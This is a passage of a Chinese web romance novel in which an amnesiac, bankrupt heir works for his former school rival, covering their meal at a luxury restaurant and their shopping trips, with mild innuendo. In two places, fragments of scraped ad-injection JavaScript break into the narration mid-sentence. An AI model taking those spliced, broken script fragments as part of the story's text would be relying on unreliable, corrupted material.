裴砚初一怔,以为自己听错,反应过来后差点跳起来:“不是我干的!不是、我的意思是,我觉得不是我干的。” 闻祈反问:“你不是失忆了吗,这也能你觉得?” “虽然我失忆了,不记得以前的事了,但我性格不会变啊!”裴砚初努力澄清,“换衣服也太下三滥了,我怎么可能做这事?” 闻祈拿起托盘里的车钥匙,抛了抛,目光上下打量着人,说不出的戏谑意味,语气慢悠悠的:“不好意思,你在我眼里就是下三滥的人。” 他一扬手,车钥匙在半空划过一道弧线。 裴砚初一把接住,有些急切地道:“等等,你说清楚,我怎么下三滥了?我醒来后可特地搜过我自己相关的报道,桃色绯闻一个都没有,我绝对还是清清白白的处男!” 闻祈神情古怪:“你醒来先搜自己的桃色绯闻?” “对啊,万一我有老婆,他要是来医院找我,我失忆了不认识他了,他该多伤心啊,那不是得提前做好准备。” 裴砚初又叹气:“看到车祸新闻,给我发消息的朋友还挺多,我问他们我有没有一个漂亮老婆,他们问我是不是把脑子撞坏了。” 他若有若无地炫耀卖弄:“我听以前的朋友们说了,我一直洁身自好,处男之身还没给出去。” 闻祈打开门,往外走:“你是不是处男和手段下三滥没有关系。” 裴砚初一路追着他进了电梯,不听答案不肯罢休:“那你说说我怎么手段下三滥了?说不定我们以前是有什么误会?” 电梯的轿厢合拢,载着两人缓缓下行。 闻祈语气随意:“也就是把我抽屉里的情书和巧克力扔垃圾桶里,害我被女生挂在论坛上,走哪儿被骂哪儿,明知道物理老师最强调课堂纪律,罚得最重,故意在课堂上踢我凳子找我说话,撩闲打架,还有什么,我想想——” 他稍微思索:“哦,我俩一个考场的时候,你藏我的笔袋,装慷慨主动借我笔,成绩下来后藏我的满分月考卷子……太多了,说起来确实不算下三滥,只能说是小学生。” 裴砚初的背后冷汗直冒:“这、我……你……不是,你怎么知道是我藏的?” “单就笔袋那件事,考场有监控,我在考试结束后找了老师,老师保证会帮我查监控——然后就不了了之了,甚至我找过去问,老师让我安心学习,不要再过问了。” 闻祈偏头看他,似笑非笑:“你说,得是什么背景,让老师不敢给我看监控?” 裴砚初心虚:“这,万一是其他有背景的同学……” 闻祈问:“你又想保证不是你干的?” “我知道我现在失忆了,说话没有信誉度。” 裴砚初郑重道:“但就算是过去的我做了一些你说的事,那也是过去的我犯的错,和现在失忆的我没有一点关系。我保证,现在的我绝对不会做这么幼稚的事了!” 正义凛然,态度坚决,要和过去的自己划清界限。 闻祈轻嗤一声。 做都做了,在这儿发誓改正自我有什么用? 晚了。 “叮——” 电梯到达地下停车场,轿厢门向两侧滑行打开。 闻祈戴上口罩,率先跨步走出。 裴砚初追过来,有点急:“你怎么不理我?” 闻祈道:“别挡我视线,我找车。” 裴砚初只好又委委屈屈地让开。 闻祈绕了一圈,循着记忆,在一个角落找到自己落灰的车。 一辆经济实用型的银色轿车,中规中矩,不算出挑。 随着车钥匙按下按键,车辆闪灯,滴滴响了两声。 闻祈拉开副驾的车门,道:“这车大半年没动过了,先去洗个车吧。” 裴砚初应了声,进了左侧驾驶位,发动车辆预热引擎,他看了眼油箱余量,一边调整着座椅位置,一边半开玩笑地道:“这就同意我开车了,这么放心我的车技?” 闻祈挑了眉尖,道:“你在高中就把跑车开进校园了,听说是你十八岁的生日礼,半个教学楼都出来看那辆定制款跑车了。” “你出来看了吗?” “没有。”闻祈语气冷淡,“关我什么事。” 裴砚初不满地啧声:“我开的跑车那肯定帅爆了,你怎么就不看一眼?” 闻祈头疼:“问来问去,你到底开不开车?” “开。”裴砚初道,“我这不是得先和这车熟悉一下吗?我没找到哪个按键是通风。” 闻祈沉默两秒,从旁边伸手,按下中控面板的外循环通风。 裴砚初恍然大悟:“啊在这儿。” 闻祈刚还觉得没什么,现在真的有点担心自己的人身安全了,问:“你还记得哪个是油门,哪个是刹车吗?” 裴砚初自信道:“当然记得,放心。” 闻祈难言地盯着他,实在不敢放心,转头看向前面,很轻地叹一口气:“算了没事,我买了人生意外险。” 要是没出意外,裴砚初就是他人生中的最大意外。 “我还没做好和你殉情的准备。” 裴砚初的手臂撑在方向盘上,低笑:“所以放心好了,你的人生意外险现在用不上,以后也用不上。” 车辆起步,驶离地下停车场,进入主路,车速意外地平稳。 显示着路线的手机放在支架上,AI女声温柔地指引着目的地。 裴砚初注视着前方,神色专注,脸上收敛了轻浮笑意,鼻梁高挺,下颌线条凌厉而冷峻,看起来格外稳重。 都说车技能看出一个人的性格…… 闻祈收回视线,不再多想。 “小祈,你说这是公司给你的配的车。”裴砚初主动挑起话头,“怎么没给你配个司机?” 闻祈快习惯他喊自己小祈了,神色没有半分波动,回:“我和公司是合作分成的形式,我很久没接到工作了,公司当我已经死了,怎么可能还给我安排司机?” 裴砚初神色凝固了,攥着方向盘的修长手指收紧,在开车的间隙看了眼他,声音发沉:“别说这种死不死的话。” 闻祈自己都不在意,有些讶异地看来,却见裴砚初绷着张脸,面覆寒霜,神色不虞。 这么忌讳? “怕我不在了,你找不到可以去的地方?”闻祈笑起来,语气轻松,“放心好了,这房子是我的,可以用最低的价格租给你一两年。” 裴砚初的薄唇抿成直线,一打方向盘。 手机导航响起播报:“您已经偏离路线,为您重新规划——” 闻祈问:“去哪儿?” 银色车辆从环路下坡,打着闪灯,在可临停的道路边停稳。 裴砚初关了不断报错的导航,转头看来,唤:“闻祈。” 语气正经,叫闻祈升起几分微妙的感觉。 裴砚初道:“对我来说,你参与过我的过去,能够证明我的存在,我不是虚无缥缈突然出现在这个世界的。至少在我恢复记忆前,我需要你。” 闻祈挑刺:“也就是说,等你恢复记忆,我的存在就不重要了是吧?” 裴砚初道:“你刚不是说了我俩的过节吗?说不定里面有什么误会,等我恢复了记忆,我还能解释几句。” 闻祈没想到他惦记着这个,一时语塞,移开视线,道:“走了。快到我预约的洗车时间了。” 裴砚初没再说话,重新打开了导航。 车内的气氛没人开口,一时变得沉闷。 闻祈隐约感知到裴砚初在生气,生出几分不知所措。 怎么羞辱、怎么惩罚都不生气,偏偏他说了那几句话,就生气了? 难不成是因为父母都不在了,朋友也因为家里的禁令纷纷消失,所以格外在意他的存在? 好比雏鸟情节,将第一眼看到的人认作依靠…… 闻祈心里五味杂陈,等到了车行,工作人员领走车钥匙,两人去往附近的餐厅吃饭。 是家小有名气的法式餐厅,临时订位没有单独的包厢,好在公共区域没什么宾客。 悠扬轻缓的钢琴曲中,侍应生引导着两人在窗边的餐桌前坐下,递来菜单。 闻祈随手翻了页,又不感兴趣地合上,道:“你点吧,我请。” 裴砚初道:“那当然了,我昨晚这么辛苦,当然你付钱。” 穿着燕尾服的侍应生正在给裴砚初发另一份菜单,手腕抖了抖,又保持着良好的职业素养,面不改色地轻放在他的桌面上。 闻祈:…… 要不是侍应生还在这儿,闻祈真想把菜单拍裴砚初的胸口上,让他说个清楚。 昨晚他做了什么,怎么就辛苦了? 裴砚初半点没觉得自己说的有什么不对劲般,神色自然地翻着菜单,一溜儿地往下指,侍应生频频点头记录。 闻祈听着数量有点多,提醒:“你点你的份就行,我只要一份意面。” 裴砚初道:“我点的就是我的份。” 闻祈的唇角抽动一下。 ……可真能吃,昨天在家不会是怕被赶出去,克制饭量了吧? 裴砚初噼里啪啦点完一通,问了闻祈的意面要什么口味,将菜单交还给侍应生。 侍应生离开以后,闻祈随口问:“点的还挺熟练?” 裴砚初道:“一看到菜单,就有直觉告诉我哪些菜好吃,不信你等会儿试试。” 不多时,侍应生推着小推车而来,开始上菜,放下黄油面包切片等前餐,端来一份石烧牛排。 大理石板上煎着肋眼牛排,油脂被烤得滋啦滋啦,焦香四溢,青绿的迷迭香叶做点缀。 戴着口罩的大厨现场翻烤,手持刀叉,切分成均匀小块。 裴砚初将中间最鲜美的一块划进闻祈的盘子里:“尝尝。” 闻祈点的意面还没上,当这一块垫肚子用,以银叉尝了一口。 外焦里嫩,肉质鲜美不显油腻,就算闻祈对吃食不怎么感兴趣,也点头赞许:“还行。” 侍应生又陆陆续续地端来其他菜品,有以雪白的奶冻为表皮做成珍珠形状的鹅肝,盛在金黄蛋羹上的两根帝王蟹腿,顶端颗颗分明的鱼子酱蛋糕。 每上来新的一样,闻祈面前的意面盘子里就多出几样配菜。 闻祈不解地问:“菜单上有这些吗?” 他以前来吃过这餐厅几次,不记得见过这些菜。 “有啊,都是菜单上的。”裴砚初道,“喜欢奶油柠檬虾吗?我看你吃了两只,要不再点一份?” 闻祈低下头,看到自己盘里的两只虾尾,微微一怔。 加上林林总总的每样一小份,看着分量只有一口,算起来也不少,加上已经空盘的番茄培根意面,他今天吃这么多了? “不用了。”闻祈有点不自在道,“我吃的够多了。” 裴砚初没劝他,笑着说了句行,继续吃。 闻祈放松下来,指尖划拉着屏幕,许千钧给他发消息说最近有空,问什么时候见一面。 闻祈:【今晚可以。】 许千钧:【去你家给你,还是我们在外面见面?】 闻祈:【我和裴狗在外面吃饭,下午去买点日用品,你要是晚上有空,就直接来我公寓吧。】 许千钧:【怎么听起来你俩相处得还挺和平的。】 许千钧:【不过也是,小祈你脾气好,裴砚初又失忆了,估计也吵不起来。】 吵不起来? 确实没怎么吵,他没按住脾气,像高中生那样直接动手了…… 闻祈沉默了,含糊地回:【我脾气也不怎么好。】 许千钧:【你脾气还不好啊?除了裴砚初,我从来没看你和谁起过争执。】 许千钧:【对了,好像有人在医院看到你把裴砚初带走了,现在高中校友群到处在传你把他包养了。你要不要澄清一下?】 闻祈:……? “这不是裴总吗?” 一道声音突然响起。 闻祈抬眸,看向出现在桌前的人。 男人约莫三四十岁,穿着一身笔挺西装,银边眼镜后的神情看起来很是惊喜,语气却含着几分幸灾乐祸。 “我在报道上看到车祸的新闻,裴总这是已经出院了?太好了,钱财都是身外之物,什么都比不过身体重要……” 裴砚初也投去视线,问:“你是?” “我们在年初一个晚宴里见过,裴总那时候不认识我也正常,现在正好可以重新认识一下,我现在经营的公司叫……” 自称吴总的人似不知道裴砚初失忆的事,吧啦吧的说一大串主打业务。 裴砚初安静听完,诚恳地道:“抱歉,我没听过。” 吴总的话语骤停,脸上的笑容有些挂不住。 闻祈的唇角掀起一点很浅的弧度。 “没事哈哈。”吴总勉强挤出笑容,“我听说裴总最近有空,有没有兴趣来我的公司上班?工资好说……” 裴砚初轻笑着,看向闻祈:“谢谢好意,不过不用了,我已经有雇主了。” 吴总进门看见裴砚初,脚步不停地过来了,这回才跟着一同看向闻祈。 看清闻祈面容的刹那,吴总的脸上闪过惊艳之色,又因为闻祈的面孔陌生,觉得不是什么有背景的人,轻视打量:“这位是?” 闻祈没兴趣和不认识的人交流, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 径直无视了他,看向对面,语气闲闲:“裴砚初,你吃完没有?” 裴砚初点头:“吃完了。” “那结账走吧。” 闻祈向侍应生招手示意,又掀起纤长的黑睫,看向一直站着不走的男人,礼貌地赶人:“您还有事吗?” 他的眉眼昳丽漂亮,瞳仁清亮似琉璃,唇色淡红,张合之间,声线如山间流淌的冷泉,清凌凌地敲在心间。 让人禁不住浮想猜测在床上动情时,那冷淡的声音又会变得如何的娇软缠人。 吴总的目光控制不住地变得轻佻下流,来回端详着闻祈的脸,问:“这顿我请,认识个朋友怎么样?” 裴砚初的脸色沉了下来。 侍应生前来,将夹着小票的牛皮小板子躬身递在桌上:“客人您好,一共两万六千四百九十八—— 话还没说完,吴总准备在钱夹里掏卡的动作一顿,语气惊愕地插话:“两万六千四?我平时带人吃你们餐厅,花最多的一次也就三四千,他们怎么吃到两万多了?” 侍应生微笑:“客人点的鱼子酱蛋糕的价格已经是六千八百八十八了,表面一层采用的是今日凌晨空运过来的最新鲜的鲟鱼子酱,糕体用的是最高品质的挪威北部海域的帝王蟹腿,帝王蟹单独售卖是三千二一只。” 闻祈:…… 那鱼子酱蛋糕端上来,小方块,巴掌大,裴砚初推他面前,他没吃过,心生好奇,拿银勺尝了第一口,就不知不觉地全吃完了。 蟹肉糕体清甜细腻,配上鲜咸的鲟鱼子酱,口感层次丰富,味道确实不错。 但他也没猜到单这一道菜就六千八百八十八了。 裴砚初是拿菜单点餐的人,不可能不知道价格,不会是仗着他请客,打算可劲儿宰人吧? 吴总不可置信地一把夺过小票,看上面的内容。 在旁的侍应生又讲解了上面其他几道四位数价格起步的餐食,原料一个比一个昂贵,做法一个比一个精致。 吴总质疑:“有这些菜吗?我怎么从来没见过?” “这类餐品原料珍贵,限量供应,不对外公开发售,普通客人未达到一定消费额度,不会知道有这些菜肴。裴先生是我们餐厅Vip贵宾,所以裴先生和他的朋友能拿到隐藏菜单。” 侍应生再次看向裴砚初,脸上带着彬彬有礼的恭敬笑容:“本次的消费已从您的账户划去了,感谢您的光临。” 吴总没再说话,转头走了,背影匆匆,透着狼狈。 裴砚初饶有兴致地问侍应生:“我什么时候充的钱?账户上还有多少啊?” 侍应生道:“您和我们餐厅老板是朋友,在餐厅开业的时候办卡充值了八十八万,老板额外赠送了您二十万的额度,现在还有四十六万左右的余额。” 裴砚初哦一声,又问:“我充的钱能退吗?” 侍应生受到专业培训的完美笑容面具显而易见地出现了裂缝,大概从来没遇到过这样的请求,唇瓣慌张地颤抖:“这、这可能需要请示我们的老板……” “算了,我的资金账户都被冻结了,还在受监控,退款回来估计更多麻烦事,还是不退了。”裴砚初摇头叹气,“没办法,只能在这儿花了。” 他看向闻祈,语气无奈地发出邀请:“以后多和我来这儿吃饭?” 闻祈:…… 侍应生像是怕裴砚初又提退钱的事,飞快地消失不见,将空间再次留给他们俩。 裴砚初又摸了摸自己的下巴:“你说我在这间餐厅里充了钱,会不会还有其他地方我也充了钱没用完啊?” 闻祈也没想到随意挑的一家就是裴砚初充过钱的餐厅,神色复杂,以一种难以言喻的视线看他,很慢地道:“难说,毕竟你的朋友……挺多。” 裴砚初道:“是吗?” “嗯,你那几个玩的最好的朋友有经营酒店的、有加盟餐厅的,有建俱乐部的,投资的行业也多,没道理你不去捧场。” 闻祈的神色愈发古怪,发现等会儿准备去的商场,好像也是裴砚初一个朋友家里的名下产业。 听说里面的高奢品牌店员是推着一排排移动衣架,送当季的最新款服装去裴砚初的住处,让他挑选。 看裴砚初这架势,是走哪儿都刷脸的程度,说不定一进去,就有经理收到消息前来迎接。 他正思考着,裴砚初突然问:“不过你对我玩的好的朋友这么了解,是不是也在暗地里关注我?” 闻祈长睫轻颤一下,缓慢抬起视线,撞进了裴砚初含着深意的幽黑眼眸中。 “别自恋。”闻祈道,“许千钧……水水是你发小的弟弟,有时候他会说你们的事。” “好吧。”裴砚初遗憾道,“我还以为——” 闻祈以为他又要重提暗恋这个词,忍无可忍地打断:“我不喜欢你,我对你一点意思都没有。” 裴砚初的脸色有一瞬间的僵硬,又很快恢复如初,若无其事地笑起来:“我知道啊,见面以后你说过很多次了。” 他低眸注视着着闻祈,声音无意识地放轻了,继续那句没说完的话:“我只是以为……我长大了,拥有世俗意义的成功,公司掌权,事业有成,站在了高处,朋友们也不是什么纨绔子弟,都说物以类聚,人以群分,说不定也能证明我没那么差,所以你会对以前那个幼稚的我改观,会顺便听听和我有关的事。” 闻祈的手指蜷缩了下,一时没应声。 “不过都是过去的事了,现在的我和破产没区别,那个吴总说话那么客气,不也没把我当回事吗?” 裴砚初语气轻松地转了话题:“不是要带我去买衣服吗?就别去什么贵的商场了吧,被人认出来还怪尴尬的,我又不记得谁是谁,我现在就你一个雇主,用不着什么贵的衣服充门面上班,买普通的就行。” 闻祈却道:“ 谁说你不用充门面了?” 裴砚初微怔。 “你现在是我的人,代表的是我的脸面。” 闻祈语气淡淡:“这么多商场,换一家不认识你的就行。” “要给我买贵的啊?”裴砚初笑着,“先说清楚,我自己付不起,给我报销吗?” 闻祈轻嗯:“给你报销。” 裴砚初禁不住感慨:“怪不得这么多人乐意被包养,谁能抵御这种被金钱腐蚀的快感……” 闻祈轻飘飘地看他一眼。 裴砚初立刻乖巧:“还好我们是纯洁的雇佣关系,没有任何的身体交易!” 闻祈倒想起许千钧刚刚发消息说的事,若有所思:“不过听说外面在传你被我包养了。” 裴砚初紧张问:“那要澄清吗?” 闻祈微微眯眼,视线一寸寸地审视着对面的裴砚初,纤细的指尖轻敲桌面,却没有刚开始听到“包养”这个词的那份抵触了。 甚至因为一些事,转而升起别的念头。 探究的目光下,裴砚初下意识挺直了背。 他的眉眼俊美无俦,透着几分纯然的无辜,白色卫衣撑出宽肩的线条,和那个财经报道里西装革履的成熟男人相比,更显出几分男大学生般的青涩稚气,气质干净。 那张嘴和记忆里一样,依旧吐不出什么好话。 但脸和身材都属于顶配,无可挑剔。 包养裴砚初,那个裴家曾不可一世现在落魄潦倒的大少爷,听起来不亏。 “不用解释。”闻祈的语气懒散,含着一丝愉悦,“让他们说吧。” 8. 西装 正好车行发来消息,显示预约的洗车保养服务已完成。 两人回去取车,闻祈重新定位了一家商场,裴砚初开车,很快到达新目的地。 裴砚初需要买贴身的内裤,闻祈在收银台前替他结账的时候,无意间扫到了尺码,心神微震。 ……裴狗吃什么长大的。 闻祈面无表情地移开视线,当没看见。 去买日常换穿的衣服时,裴砚初这时候作为大少爷的那股挑剔劲儿就出来了,要摸面料要看样式,只挑合自己的风格。 他拒绝了导购的推荐,自己挑选搭配,每出一次换衣间,就像只展屏求偶的公孔雀问一次闻祈好不好看。 闻祈坐在沙发上,长腿交叠,翻阅着店内的娱乐杂志,冷冷淡淡地掀起长睫,偶尔点评:“还行”,“可以”。 这次是语气不解的一句:“——这套和上一套有区别吗?” 裴砚初振振有词:“当然有区别了,袖口的暗纹不一样,上一套明显是休闲风,这一套能显得我低调贵气。” 闻祈语噎,半点没看出来什么休闲什么低调贵气。 他不信有谁会闲得无聊特地研究别人抬腕的时候袖口是什么花纹。 裴砚初轻唔一声,衡量道:“你的袖口上有星星,还是选这件有玫瑰暗纹的吧,比较配合你。” 闻祈没明白星星和玫瑰配合的逻辑,低下头,发现自己今天穿的浅蓝色牛仔外套的袖口上确实印着两颗淡金色星星的图案。 他再度抬起视线,神色微妙复杂。 居然,还真有这么无聊的人。 裴砚初转进试衣间,准备试穿下一套。 导购小姐姐站在沙发旁边,掩饰不住脸上的笑意,道:“客人你男朋友好帅,穿什么都适合。” 闻祈道:“他不是我男朋友。” 导购一脸我懂的表情:“是不是家长的思想比较封建?我理解的。” “真不是。”闻祈道,“我们……只是现阶段住在一起。” 导购的微笑愈加耐人寻味:“嗯嗯是的,明白明白。” 闻祈被看得有些不自在。 雇主带佣人买衣服这种事,也没有必要和不相干的路人解释吧? 但是不解释,好像也很奇怪…… 恰时换衣间的门打开,裴砚初探出半个上身,神色苦恼,道:“小祈,你能不能进来看看衣服?” 闻祈立刻放下杂志,快步过去:“来了。” 换衣间的门再度关闭,原本绰绰有余的空间因为塞着两个人,一时变得狭窄起来。 闻祈突然意识到一件事。 外面的导购还误会着他们是一对恋人,现在两人同时挤在一间换衣间里—— 面前的裴砚初却已神色自然地转过了身去,打断了他的思路。 闻祈的瞳眸微微一缩。 裴砚初穿了一件挺括的黑色衬衫,正面看起来规规矩矩,挑不出半点错,后面却是整片镂空悬着几条细长的闪闪链条,此刻有几根正绞缠在一起,宽肩窄腰一览无余,几乎整个暴露在他的眼前。 试衣间上方洒落一层明亮的光亮,叫男人小麦色的结实肌肤流转着蜂蜜般的诱人光泽。 中间连接的银色链条没有半分遮掩作用,和光.裸无异的宽阔背部透着再直白不过的引诱意味。 裴砚初浑然不觉般:“中间有几根链子缠在一起了,我刚把自己拧成麻花了也没理出来,只好叫你帮忙了。” 闻祈抿了唇,没说话,伸了手。 玉白纤细的指尖很轻地勾上中间绞缠的银色细链。 那点指尖虚虚落在了小麦色的脊背上,色差明显。 闻祈忍不住问:“你喜欢这种风格的衣服?” 表面正经,背面骚得没边。 “这风格不是挺好的吗?”裴砚初理所当然地道,“我的背肌练得不错,等我站在窗户前擦玻璃,你能欣赏我完美的背阔肌,外面的人只能看到我前面的衬衫。” 闻祈沉默两秒,道:“我们住在二十二楼,玻璃还是单向的,就算你裸着擦玻璃,外面也没人看你。” 裴砚初大惊:“你想要我裸着擦玻璃?” 说话时,他下意识地回头。 闻祈还在给他理细链,动作之间,玉石般微冷的指尖擦过了滚烫的背部,热量的差异,似一滴水落进了热油的锅,溅起噼里啪啦的连带反应。 闻祈的手指似烫着火般,收了回来,反射性地训斥道:“别乱动。” 裴砚初重新转了回去,很低地应了一声,声音不像刚才那般轻松含笑,脊背透着僵硬,绷出更为明显的线条。 闻祈抬起视线,落在了裴砚初的耳尖。 黑色短发藏不住分毫,男人的耳根不知什么时候覆上了一层绯色,耀目如通透的红翡。 闻祈转头,看向侧面的试衣镜。 因为试衣间位置狭窄,两人只隔了短短的距离,身高差明显。 站在里面的高大男人半垂着眼睫,看不清神色,侧脸轮廓凌厉,唇线抿直,似在克制忍耐着什么。 在害羞?还是被他训斥,觉得屈辱? 因为裴砚初的反应,闻祈心中那些怪异的抵触感突地消失不见,转为轻微的愉悦。 他收回视线,继续帮裴砚初解开银链,而后退开一点距离,道:“好了。” 裴砚初宽肩窄腰的倒三角体格暴露无遗,结实但不夸张的小麦色背肌呈现着属于成熟男性的张力,空悬在中部的弧形银链悠悠晃动,折射细微的冷光,吸引着目光。 像留学艺术的朋友在群里经常转发的某音擦边热舞的男博主。 闻祈在心里客观地点评。 裴砚初从侧面的镜子里看了眼自己,又飞快地看了闻祈一眼,问:“这件……怎么样?” “还行。”闻祈道,“你喜欢就买。” “怎么来来回回就一句还行。”裴砚初拧着眉,语气很是不甘心,“就没什么衣服,你觉得我穿起来会很帅的吗?” 闻祈眉尖轻挑,上下打量了一番裴砚初,目光审视,不知道想到了什么,脸上浮起几分的笑意,点头:“倒也有。” “真有啊?” 裴砚初的不满情绪一扫而空,黑眸猛地亮了起来,身后像是有无形的尾巴疯狂摇晃,问:“什么衣服?” “不在这儿,得换家店。”闻祈问,“你还有别的衣服要试吗?” 裴砚初立刻改变计划:“没有了!我们现在就过去吧。” 两人出了试衣间,闻祈神色自若地在导购暧昧的视线中付了账。 十几个纸袋交由工作人员送货上门,两人离开了店面,裴砚初神色期待地跟在闻祈后面,想知道闻祈会挑什么衣服。 闻祈在一间小有名气的定制西服店前停步。 裴砚初像喝醉了酒般,浑身热烘烘、晕乎乎的,声音也打着飘儿,问:“你、你要给我买西装啊?” 闻祈轻嗯一声,先进了店。 裴砚初愈发飘飘然,跟在后面,感觉像踩在绵软云端般不真实。 没想到闻祈不声不响的,喜欢搞禁欲制服那一套。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 早知道他就回去翻查封的房产搞两套西服出来了。 意大利纯手工定制,精工剪裁,穿出来像偶像剧总裁,气场两米八。 连他妈都夸穿出去保准把小姑娘们迷得神魂颠倒,穿到闻祈面前,不得把他迷死? 裴砚初正浮想联翩着,店老板满面笑容地迎了出来:“两位客人打算订制西服吗?” “给他订。”闻祈微抬下巴,“工期多久?” “需要看客人选择的面料,如果是特殊的、进口面料,加上另外的采购时间在二十五天左右,如果是店里现有的面料,工期大概在十五天,加急的话,最快一周。” 他一边说着,一边递来一本厚厚的册子。 中间翻开,贴着各种各样作为样品展示花纹的布料。 “不用看了。”闻祈淡声道,“纯黑面料,平驳领,双排扣。” 裴砚初唇角的笑意一僵,插话道:“要不还是我自己选面料?” 纯黑色的西装也太普通了,还是大街上一抓一大把的平驳领,完全不能展现自己的最大优势! 闻祈反问:“不是让我给你挑?” 见他们像要起争执,店主赶紧打圆场:“也有很多客人订做纯黑的西装,觉得简约大气,实用性的场合也比较多,我们这儿刚好有这种样式的成衣,要不让这位先生先试试整体效果?觉得满意再定制。” 裴砚初勉强同意点头。 店主问了裴砚初的尺码,去拿了一套作为样板的成衣,闻祈照例在沙发上坐下。 不多时,换衣间的门再次打开,裴砚初微绷着脸,整理着袖扣走出。 他以往订制西服,要挑面料纹理、挑提花暗纹,连袖扣的种类都能挑出花儿来,从没穿过这么简单的类型。 这套也太朴素了,根本不能显出他的身价、他的气势! 裴砚初摆着一张臭脸,往闻祈身前一站。 闻祈若有所感,轻抬视线。 裴砚初眉眼俊美,经典款的黑色西装正经严肃,剪裁不算合身,但也能衬出189身高模特般的优越体型,两条大长腿更是线条利落,气场十足,简约的版型之中,更有一种别样的成熟魅力。 哪怕只是最普通的款式,举手投足,也依旧带着上位者的傲慢矜贵。 裴砚初闷声道:“我觉得我看起来像保镖。” 闻祈轻笑一声,随手拿起旁边架子上的一个墨镜,站起身,走近几步,道:“低头。” 裴砚初愣了下,依言低下了头。 闻祈靠近而来,昳丽的眉眼似电影慢镜头般在裴砚初的面前接近放大。 清甜的柚子香气似一阵轻风拂过。 裴砚初的心神摇曳一瞬,鼻梁骨架上重量,眼前的景色换作一片暗色。 闻祈退开来,形状姣好的淡红唇角掀起弧度,浮现笑意。 黑色墨镜架在裴砚初的脸上,挡住那双轻浮的桃花眼,只露出笔直的鼻梁,线条凌厉的下颌,气质锋芒毕露,像个西装暴徒。 闻祈慢声夸:“很帅。” 裴砚初喉结滚动一下,酥麻电流随着脊背蔓延而上,整个身体都似涌动着岩浆般沸腾起来。 他的颈项全红了,胸口里的心脏加速跳动,砰咚砰咚,节奏激烈地像快要跳出来。 满脑子只有一个念头。 靠,做闻祈的保镖也行,这辈子值了。 闻祈转头看店主,道:“给他量尺寸,就按这种纯黑色的面料做吧。” 又笑着道:“他现在戴的这款墨镜,我也买了。” 9. 勾引 等量完尺寸,确定好纽扣、袖扣等配饰,闻祈确认了订单上的数据,去往前台结账,另付了加急的钱。 裴砚初坐在沙发上,换回卫衣长裤的常服,几缕黑色碎发散落在额角,掩住了眉眼间的冷厉神色,远远看去,气质单纯无害。 聊天页面里,对面毫不客气地嘲笑:【懂什么叫虎落平阳被犬欺了吧?不过那个吴总敢当着你的面勾引校花,也是够胆。】 裴砚初咬牙:【我都还没勾引上,哪里轮得到他?】 对面催促着:【你赶紧的嗷,废这么大劲儿要是还追不上,都不想说认识你。你是潇潇洒洒追老婆去了,留我们帮你盯烂摊子。】 裴砚初讪讪的。 怎么,是他不想追上吗? “裴砚初,走了。” 玉石相击般的清冷嗓音在远处响起。 裴砚初起头,眸底浮起笑意,起身过来。 等人过来了,闻祈随口问:“在看什么,这么专注?” 裴砚初镇定回:“在买女仆装,店主说我这体格的尺寸没现货,得从别的店里定。” 闻祈脚步一顿,天旋地转有种晕厥感,不可置信问:“你买女仆装干什么?” 裴砚初诚恳地道:“我刚想了想,你给我买的那几套衣服这么贵,不适合穿着干活,折腾坏了多可惜,还是另外买一套工服比较好。” 店主正准备过来送他们出店,闻言听到这几句,瞳孔地震。 女仆装?工服? 这干的是正经活儿吗? 店主一边在心里感慨着年轻人就是玩得野啊,一边怕自己听到更多不该听的,弱弱地打扰了句:“两人慢走,等需要试衣的时候,我和两位客人再联系……” 闻祈一看店主的神色就知道又被误会了,匆促地点了头示意知道了,而后攥住裴砚初的手腕,拉着人往外快步走去,脚步堪称逃离。 裴砚初被闻祈带着走,低头看了眼手腕,目光惊喜。 女仆装的魅力这么大,还没穿上,就能让闻祈主动牵他的手? 等稍稍离远些,闻祈找个僻静地方放开了人,呼吸微喘,看向他,头疼问:“什么女仆装?” 裴砚初大大方方地递来自己碎屏的手机。 闻祈低头看去,神色登时变得古怪。 黑白经典款女仆装长裙,宣传的是某音擦边男网红直播间同款。 封面图上的脸上打着码,饱满的大胸肌那块把布料撑得鼓鼓囊囊,劲窄的腰间圈着一小块纯白布料围裙,颇有一种人夫感。 明明从上到下都包裹严实,没露一点肌肤,但总有一种不正经的感觉。 “这网红和我身材还蛮像的,我特意搜的同款。”裴砚初叹气,“没想到没货了,还好店主听我说是工作需要,立刻说帮我留意。” 闻祈艰难地问:“……你不会,已经下单了吧?” 裴砚初再自然不过地点头:“嗯呐,那当然了。” 还目光闪闪地盯着闻祈,一副我这是为工作着想,等着他表扬的期待神色。 闻祈憋半天,说了句:“你自己喜欢就好。” 用比裸着好。 闻祈安慰自己。 他自觉不是干活的人,需要尊重裴砚初的……特别爱好。 怀着复杂的心情,闻祈又带裴砚初去商超买日用品。 正好碰上商超搞活动,一对对夫妻推着车商量着买什么,交头接耳,神色亲昵。 闻祈和裴砚初推着空购物车走在一起,人流量实在太大,两人之间的距离也被迫靠近,手臂偶尔有擦碰。 闻祈怪别扭的,后知后觉想到了一件事。 ——他跟着进来干什么,裴砚初自己买不就行了? 好在里面区域宽阔,人群逐渐分散,闻祈默默地分开了一点距离。 裴砚初不动声色地看了看两人之间的空隙,眸底闪过几分遗憾。 到了日用品的区域,裴砚初一边走,一边往购物车里扔,在毛巾区域犯了难。 他站货架前对着浴巾的颜色比较不出结果,一手拿藏蓝色,一手拿深灰色,扭头问原地发呆的闻祈哪个更好看。 闻祈随手指了一个藏蓝色。 裴砚初得意:“好巧,我也觉得藏蓝色的更好看!我俩这算不算心有灵犀?” 闻祈懒洋洋道:“心有灵犀是这么用的吗?你的语文还是和高中一样的烂,150满分只能考89不是没有原因的。” 裴砚初虚心请教:“那我们这样叫什么?王八绿豆看对眼?” “你和浴巾看对眼吗?” 闻祈反问一句,唇角含着不自知的笑意,听到有熟悉的铃声响起,拿出手机。 等看清了屏幕上语音通话显示的名字,闻祈脸上的笑渐渐消失不见。 裴砚初也察觉了,问:“怎么了?” “没什么。”闻祈道,“你先挑你的,我去接个电话。” 裴砚初点点头。 闻祈走远几步,挑了个稍微安静的地儿。 通话接通,闻祈的眼睫轻垂下去,掩住了眸底波动的情绪,轻声唤:“妈妈。” “小祈。” 对面的闻若婵声音温温柔柔,又听到了热闹喜庆的背景音,语气转为迟疑,问,“在外面吗?” 闻祈低嗯一声,视线落到远处,注视着裴砚初的身影,轻声道:“我在和……朋友逛超市。” 